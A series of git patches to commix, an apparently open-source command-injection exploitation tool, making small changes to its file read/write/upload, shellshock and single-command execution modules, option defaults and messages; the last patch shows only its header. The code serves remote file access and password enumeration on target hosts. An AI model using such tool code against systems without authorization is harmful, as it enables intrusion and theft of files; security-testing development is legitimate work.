index 087b629f8d..b8461834a3 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -35,7 +35,7 @@
Read a file from the target host.
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -76,7 +76,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -156,7 +156,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
# Not yet implemented
pass
else:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 7de75b13f1..fd78509b5b 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -34,7 +34,7 @@
Read a file from the target host.
"""
def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -71,7 +71,7 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
Write to a file on the target host.
"""
def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -150,7 +150,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
# Not yet implemented
pass
else:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index 771ad24642..c35b7d75a0 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -36,7 +36,7 @@
"""
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -80,7 +80,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = True
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -169,7 +169,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
# Not yet implemented
pass
else:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 91ae71fff7..058a575e7e 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -363,7 +363,7 @@ def file_access(url, cve, check_header, filename):
# Write to a file on the target host.
#-------------------------------------
if menu.options.file_write:
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -414,7 +414,7 @@ def file_access(url, cve, check_header, filename):
# Upload a file on the target host.
#-------------------------------------
if menu.options.file_upload:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
@@ -464,7 +464,7 @@ def file_access(url, cve, check_header, filename):
# Read a file from the target host.
#-------------------------------------
if menu.options.file_read:
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e9bf540e38..7694fda06d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "41"
+REVISION = "42"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 22109ddbe0c7a372565db627418388ee809a1548 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 25 Apr 2022 08:26:35 +0300
Subject: [PATCH 119/560] Trivial updates
---
src/utils/menu.py | 34 +++++++++-------------------------
src/utils/session_handler.py | 2 +-
src/utils/settings.py | 6 +++---
3 files changed, 13 insertions(+), 29 deletions(-)
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 2f4b3074bc..154d7d8195 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -54,7 +54,7 @@ def banner():
"These options relate to general matters. ")
general.add_option("-v",
- default="0",
+ default=0,
action="store",
type="int",
dest="verbose",
@@ -64,7 +64,7 @@ def banner():
action="store_true",
dest="install",
default=False,
- help="Install 'commix' to your system.")
+ help="Install " + settings.APPLICATION + " to your system.")
general.add_option("--version",
action="store_true",
@@ -115,12 +115,6 @@ def banner():
default=False,
help="Skip heuristic detection for code injection.")
-# general.add_option("--encoding",
-# action="store",
-# dest="encoding",
-# default=None,
-# help="Force character encoding used for data retrieval (e.g. GBK).")
-
general.add_option("--codec",
action="store",
dest="codec",
@@ -302,16 +296,16 @@ def banner():
request.add_option("--timeout",
action="store",
dest="timeout",
- default=False,
+ default=settings.TIMEOUT,
type="int",
- help="Seconds to wait before timeout connection (default 30).")
+ help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").")
request.add_option("--retries",
action="store",
dest="retries",
- default=False,
+ default=settings.MAX_RETRIES,
type="int",
- help="Retries when the connection timeouts (Default: 3).")
+ help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").")
request.add_option("--drop-set-cookie",
action="store_true",
@@ -481,7 +475,7 @@ def banner():
action="store",
type="int",
dest="timesec",
- help="Seconds to delay the OS response (Default 1).")
+ help="Seconds to delay the OS response (Default: 1).")
injection.add_option("--tmp-path",
action="store",
@@ -742,24 +736,14 @@ def tab_completer(text, state):
Check if enumeration options are enabled.
"""
def enumeration_options():
- if options.hostname or \
- options.current_user or \
- options.is_root or \
- options.is_admin or \
- options.sys_info or \
- options.users or \
- options.privileges or \
- options.passwords or \
- options.ps_version :
+ if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)):
return True
"""
Check if file access options are enabled.
"""
def file_access_options():
- if options.file_write or \
- options.file_upload or\
- options.file_read:
+ if any((options.file_write, options.file_upload, options.file_read)):
return True
# eof
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index aa5353f288..4bad73afe7 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -366,7 +366,7 @@ def store_cmd(url, cmd, shell, vuln_parameter):
conn.close()
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
- except TypeError as err_msg:
+ except (TypeError, AttributeError) as err_msg:
pass
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7694fda06d..e8da5908b8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "42"
+REVISION = "43"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1011,8 +1011,8 @@ def sys_argv_errors():
# Check for multi encoded payloads
MULTI_ENCODED_PAYLOAD = []
-# Default Timeout
-TIMEOUT = 31
+# Default Timeout (Seconds to wait before timeout connection)
+TIMEOUT = 30
# Retries when the connection timeouts (Default: 3).
MAX_RETRIES = 3
From a1f58d1d4e52fac7306dfb16c085c1964c420ec6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 26 Apr 2022 07:21:04 +0300
Subject: [PATCH 120/560] Multiple updates
---
.../techniques/time_based/tb_enumeration.py | 15 +++++++++------
.../techniques/time_based/tb_file_access.py | 12 +++++-------
.../blind/techniques/time_based/tb_handler.py | 6 +++---
.../blind/techniques/time_based/tb_injector.py | 5 +++--
.../techniques/classic/cb_enumeration.py | 4 ++--
.../techniques/eval_based/eb_enumeration.py | 2 +-
.../techniques/file_based/fb_enumeration.py | 2 +-
.../techniques/file_based/fb_handler.py | 6 +++---
.../tempfile_based/tfb_enumeration.py | 14 ++++++++------
.../tempfile_based/tfb_file_access.py | 4 +++-
.../techniques/tempfile_based/tfb_handler.py | 18 ++++++++++--------
.../techniques/tempfile_based/tfb_injector.py | 9 +++++----
src/utils/settings.py | 6 +++---
13 files changed, 56 insertions(+), 47 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 8ab74835c8..472bc2550d 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -522,21 +522,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- cmd = menu.options.os_cmd
- info_msg = "Executing '" + cmd + "' command."
+ info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- return check_how_long, output
+ print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ check_how_long = 0
+ if len(output) > 1:
if settings.VERBOSITY_LEVEL <= 1:
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(output))
- print(settings.SINGLE_WHITESPACE)
+ else:
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+ return check_how_long, output
"""
Check the defined options
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 3294541324..92072b1e87 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -57,10 +57,8 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if shell:
info_msg = "The contents of file '"
info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
- info_msg += "'" + Style.RESET_ALL + " : "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- sys.stdout.write(shell)
+ info_msg += "'" + Style.RESET_ALL + " : " + shell
+ print(settings.print_bold_info_msg(info_msg))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "The contents of file '"
@@ -81,7 +79,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
@@ -93,7 +90,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
@@ -163,7 +159,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- _ = True
+ _ = False
if settings.TARGET_OS == "win":
# Not yet implemented
pass
@@ -209,10 +205,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
+ sys.stdout.flush()
info_msg = "The '" + shell
info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
print(settings.print_bold_info_msg(info_msg))
else:
+ sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index fbdda83d12..d6fe24b428 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -61,7 +61,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Check if defined "--maxlen" option.
if menu.options.maxlen:
- maxlen = settings.MAXLEN
+ settings.MAXLEN = maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
@@ -479,8 +479,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
- tb_injector.export_injection_results(cmd, separator, output, check_how_long)
- print(settings.SINGLE_WHITESPACE)
+ #tb_injector.export_injection_results(cmd, separator, output, check_how_long)
+ #print(settings.SINGLE_WHITESPACE)
if not new_line :
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 06b0d21f60..328f15080b 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -278,8 +278,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg += ""
else:
info_msg += "\n"
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ if output_length > 1:
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool(num_of_chars)
for ascii_char in char_pool:
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index b7c83e3d25..32ed465fa9 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -545,9 +545,9 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- if menu.file_access_options():
+ if menu.file_access_options():
sys.stdout.flush()
- info_msg = "Executing '" + cmd + "' command."
+ info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index bed06de214..b99c178f6c 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -548,7 +548,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- info_msg = "Executing '" + cmd + "' command."
+ info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 5f39cefc13..e7e863775e 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
- info_msg = "Executing '" + cmd + "' command."
+ info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index b867d015f8..3982c18002 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -46,8 +46,8 @@
"""
def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response):
if no_result == True:
- info_msg = "Trying to create a file, in temporary "
- info_msg += "directory (" + tmp_path + ") for command execution results.\n"
+ info_msg = "Trying to create a file in temporary "
+ info_msg += "directory (" + tmp_path + ") for command execution output.\n"
sys.stdout.write(settings.print_info_msg(info_msg))
call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
return call_tfb
@@ -184,7 +184,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
- info_msg += "' for command execution results. "
+ info_msg += "' for command execution output. "
print(settings.print_info_msg(info_msg))
i = 0
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 0307f698a5..25a7350230 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -527,22 +527,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- cmd = menu.options.os_cmd
- info_msg = "Executing '" + cmd + "' command."
+ info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- return check_how_long, output
+ print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ check_how_long = 0
+ if len(output) > 1:
if settings.VERBOSITY_LEVEL <= 1:
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(output))
- print(settings.SINGLE_WHITESPACE)
+ else:
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+ return check_how_long, output
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index c35b7d75a0..4be3329ba8 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -47,7 +47,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
- # new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
@@ -71,6 +70,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
+ sys.stdout.flush()
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
print(settings.print_warning_msg(warn_msg))
@@ -157,6 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
print(settings.print_bold_info_msg(info_msg))
else:
+ sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
print(settings.print_warning_msg(warn_msg))
@@ -214,6 +215,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
print(settings.print_bold_info_msg(info_msg))
else:
+ sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 8a06d385d2..b0da54b2af 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -82,7 +82,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Check if defined "--maxlen" option.
if menu.options.maxlen:
- maxlen = settings.MAXLEN
+ settings.MAXLEN = maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
@@ -524,15 +524,17 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Check if defined single cmd.
if menu.options.os_cmd:
+ cmd = menu.options.os_cmd
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
- tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
- # Delete previous shell (text) files (output) from temp.
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # logs.print_logs_notification(filename, url)
- # raise SystemExit()
+ if len(output) > 1:
+ #tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
+ # Delete previous shell (text) files (output) from temp.
+ if settings.VERBOSITY_LEVEL != 0:
+ print(settings.SINGLE_WHITESPACE)
+ delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # logs.print_logs_notification(filename, url)
+ # raise SystemExit()
if settings.VERBOSITY_LEVEL != 0 or not new_line:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 5888383d58..741f1a97cc 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -276,15 +276,16 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_start = time.time()
output = []
percent = "0.0%"
- info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "'."
+ info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE + "')."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
elif settings.VERBOSITY_LEVEL == 1 :
info_msg += ""
else:
info_msg += "\n"
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ if output_length > 1:
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool(num_of_chars)
for ascii_char in char_pool:
@@ -348,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
float_percent = settings.info_msg
else:
float_percent = ".. (" + str(float_percent) + ")"
- info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE +"'."
+ info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')."
info_msg += float_percent
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e8da5908b8..156b1792f9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "43"
+REVISION = "44"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -376,8 +376,8 @@ def sys_argv_errors():
OUTPUT_FILE_EXT = ".txt"
OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT
-# Max Length.
-MAXLEN = "10000"
+# Max Length for command execution output.
+MAXLEN = 10000
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
From f9c1567838bcbbaa88733b0d6753b07181e0a8b6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 27 Apr 2022 07:22:09 +0300
Subject: [PATCH 121/560] Minor updates
---
doc/CHANGELOG.md | 4 +-
.../techniques/time_based/tb_file_access.py | 32 ++++++++++-----
.../blind/techniques/time_based/tb_handler.py | 3 --
.../techniques/classic/cb_enumeration.py | 4 +-
.../techniques/classic/cb_file_access.py | 39 ++++++++++++-------
.../techniques/classic/cb_handler.py | 15 ++++---
.../techniques/eval_based/eb_enumeration.py | 3 +-
.../techniques/eval_based/eb_file_access.py | 37 +++++++++++-------
.../techniques/eval_based/eb_handler.py | 14 +++----
.../techniques/file_based/fb_enumeration.py | 3 +-
.../techniques/file_based/fb_file_access.py | 32 +++++++++------
.../techniques/file_based/fb_handler.py | 19 +++++----
.../tempfile_based/tfb_file_access.py | 36 ++++++++++-------
.../techniques/tempfile_based/tfb_handler.py | 7 +---
src/core/modules/shellshock/shellshock.py | 28 ++++++-------
src/utils/settings.py | 2 +-
